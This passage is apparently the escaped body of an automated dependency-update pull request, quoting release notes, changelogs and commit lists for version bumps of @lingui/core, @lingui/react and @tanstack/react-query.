Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e resolve workers from caller source (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2682\"\u003e#2682\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/cac98805cec97dbd874fd5b90c5440143e26420d\"\u003ecac9880\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eformat-po-gettext:\u003c/strong\u003e write one msgstr per plural form of locale (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2690\"\u003e#2690\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/9f400ef68f5a19de0a893e638594425373d8dbd7\"\u003e9f400ef\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esolid:\u003c/strong\u003e match macro-accepted placeholder names in formatElements (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2687\"\u003e#2687\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f97cb9210cad63df10af3e921cefbbb30ed74857\"\u003ef97cb92\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/blob/main/packages/core/CHANGELOG.md\"\u003e@​lingui/core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eruntime core macro (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2618\"\u003e#2618\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003ebd79e85\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/core\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/core\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/b0355f267ad4f8da71d6443fd37bc3f3836dd518\"\u003e\u003ccode\u003eb0355f2\u003c/code\u003e\u003c/a\u003e chore(release): published v6.10.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2724\"\u003e#2724\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003e\u003ccode\u003ebd79e85\u003c/code\u003e\u003c/a\u003e feat: runtime core macro (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2618\"\u003e#2618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e\u003ccode\u003e7fa9acd\u003c/code\u003e\u003c/a\u003e feat(core): add default global variables support to i18n instance (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2661\"\u003e#2661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/4d3390340b0e5700b2a18f60142f2ffa69e887a6\"\u003e\u003ccode\u003e4d33903\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.1 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2716\"\u003e#2716\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/8af2ec8543f1ad7934e1d5f6c2b6714218fd9a90\"\u003e\u003ccode\u003e8af2ec8\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2695\"\u003e#2695\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lingui/js-lingui/commits/v6.10.0/packages/core\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@lingui/react` from 6.8.0 to 6.10.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/releases\"\u003e@​lingui/react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.10.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e runtime core macro (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2618\"\u003e#2618\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003ebd79e85\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/blog/2026/10/16/runtime-macro\"\u003eAnnouncement\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/ref/core#i18n.setvariables\"\u003eDocumentation\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e don't compile twice per change in watch mode without \u003ccode\u003e--debounce\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2722\"\u003e#2722\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/92c8622e68e6b94bd3ea4f241b7314d610c46e83\"\u003e92c8622\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eformat-csv:\u003c/strong\u003e read catalogs that end with a line break (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2696\"\u003e#2696\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/c3b7838a4a8ab734ee8c48458ea67af9a72e7528\"\u003ec3b7838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e fail early when native transform is used with Solid (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2708\"\u003e#2708\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/15549f3cec626ab59eac1de00cccbbb56730c84f\"\u003e15549f3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e strip query from module id before native macro transform (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2703\"\u003e#2703\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/10c1b79b6b287983593946fb965b8b0b558b96c1\"\u003e10c1b79\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e write experimental extractor catalogs in worker pool (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2715\"\u003e#2715\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f7731f2a3e07145c45e2a62482ab3496302b5536\"\u003ef7731f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e use native macro transformer in experimental extractor (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2685\"\u003e#2685\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/71b439493cc351c8aa1df83a2e785afe3afed467\"\u003e71b4394\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e add native macro transformer (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2686\"\u003e#2686\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/2a576d324c222e318ae8ab5e49c57004ef675063\"\u003e2a576d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e resolve workers from caller source (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2682\"\u003e#2682\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/cac98805cec97dbd874fd5b90c5440143e26420d\"\u003ecac9880\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eformat-po-gettext:\u003c/strong\u003e write one msgstr per plural form of locale (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2690\"\u003e#2690\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/9f400ef68f5a19de0a893e638594425373d8dbd7\"\u003e9f400ef\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esolid:\u003c/strong\u003e match macro-accepted placeholder names in formatElements (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2687\"\u003e#2687\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f97cb9210cad63df10af3e921cefbbb30ed74857\"\u003ef97cb92\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/blob/main/packages/react/CHANGELOG.md\"\u003e@​lingui/react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/react\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/react\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/b0355f267ad4f8da71d6443fd37bc3f3836dd518\"\u003e\u003ccode\u003eb0355f2\u003c/code\u003e\u003c/a\u003e chore(release): published v6.10.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2724\"\u003e#2724\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e\u003ccode\u003e7fa9acd\u003c/code\u003e\u003c/a\u003e feat(core): add default global variables support to i18n instance (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2661\"\u003e#2661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/4d3390340b0e5700b2a18f60142f2ffa69e887a6\"\u003e\u003ccode\u003e4d33903\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.1 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2716\"\u003e#2716\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/8af2ec8543f1ad7934e1d5f6c2b6714218fd9a90\"\u003e\u003ccode\u003e8af2ec8\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2695\"\u003e#2695\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lingui/js-lingui/commits/v6.10.0/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query` from 5.104.0 to 5.104.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11722\"\u003e#11722\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/0992a9291469d02d677f10a4994b1af0fdb8ac74\"\u003e\u003ccode\u003e0992a92\u003c/code\u003e\u003c/a\u003e - fix(react-query-devtools): create the devtools instance only once instead of on every render\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11328\"\u003e#11328\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e - Allow queries with falsy errors to retry on mount when \u003ccode\u003ethrowOnError\u003c/code\u003e returns false.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca 